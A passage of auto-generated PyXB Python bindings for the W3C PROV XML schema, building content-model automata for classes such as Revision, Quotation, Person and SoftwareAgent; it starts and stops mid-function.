pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 665, 7)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Others._Automaton = _BuildAutomaton_24() def _BuildAutomaton_25 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_25 del _BuildAutomaton_25 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 146, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 147, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 148, 6)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 149, 6)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 150, 6)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 151, 6)) counters.add(cc_5) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Revision._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'generatedEntity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 144, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(Revision._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'usedEntity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 145, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Revision._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'activity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 146, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Revision._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'generation')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 147, 6)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Revision._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'usage')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 148, 6)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Revision._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 149, 6)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Revision._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 150, 6)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 151, 6)) st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_7) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) transitions.append(fac.Transition(st_7, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False) ])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, True) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False) ])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, True) ])) st_7._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Revision._Automaton = _BuildAutomaton_25() def _BuildAutomaton_26 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_26 del _BuildAutomaton_26 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 146, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 147, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 148, 6)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 149, 6)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 150, 6)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 151, 6)) counters.add(cc_5) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Quotation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'generatedEntity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 144, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(Quotation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'usedEntity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 145, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Quotation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'activity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 146, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Quotation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'generation')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 147, 6)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Quotation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'usage')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 148, 6)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Quotation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 149, 6)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Quotation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 150, 6)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 151, 6)) st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_7) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) transitions.append(fac.Transition(st_7, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False) ])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, True) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False) ])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, True) ])) st_7._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Quotation._Automaton = _BuildAutomaton_26() def _BuildAutomaton_27 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_27 del _BuildAutomaton_27 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 146, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 147, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 148, 6)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 149, 6)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 150, 6)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 151, 6)) counters.add(cc_5) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(PrimarySource._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'generatedEntity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 144, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(PrimarySource._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'usedEntity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 145, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(PrimarySource._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'activity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 146, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(PrimarySource._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'generation')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 147, 6)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(PrimarySource._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'usage')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 148, 6)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(PrimarySource._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 149, 6)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(PrimarySource._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 150, 6)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 151, 6)) st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_7) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) transitions.append(fac.Transition(st_7, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False) ])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, True) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False) ])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, True) ])) st_7._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) PrimarySource._Automaton = _BuildAutomaton_27() def _BuildAutomaton_28 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_28 del _BuildAutomaton_28 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 182, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 183, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 184, 6)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 185, 6)) counters.add(cc_3) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Person._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 182, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Person._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 183, 6)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Person._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 184, 6)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 185, 6)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True) ])) st_3._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Person._Automaton = _BuildAutomaton_28() def _BuildAutomaton_29 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_29 del _BuildAutomaton_29 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 182, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 183, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 184, 6)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 185, 6)) counters.add(cc_3) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Organization._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 182, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Organization._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 183, 6)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Organization._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 184, 6)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 185, 6)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True) ])) st_3._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Organization._Automaton = _BuildAutomaton_29() def _BuildAutomaton_30 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_30 del _BuildAutomaton_30 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 182, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 183, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 184, 6)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 185, 6)) counters.add(cc_3) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(SoftwareAgent._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 182, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(SoftwareAgent._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), 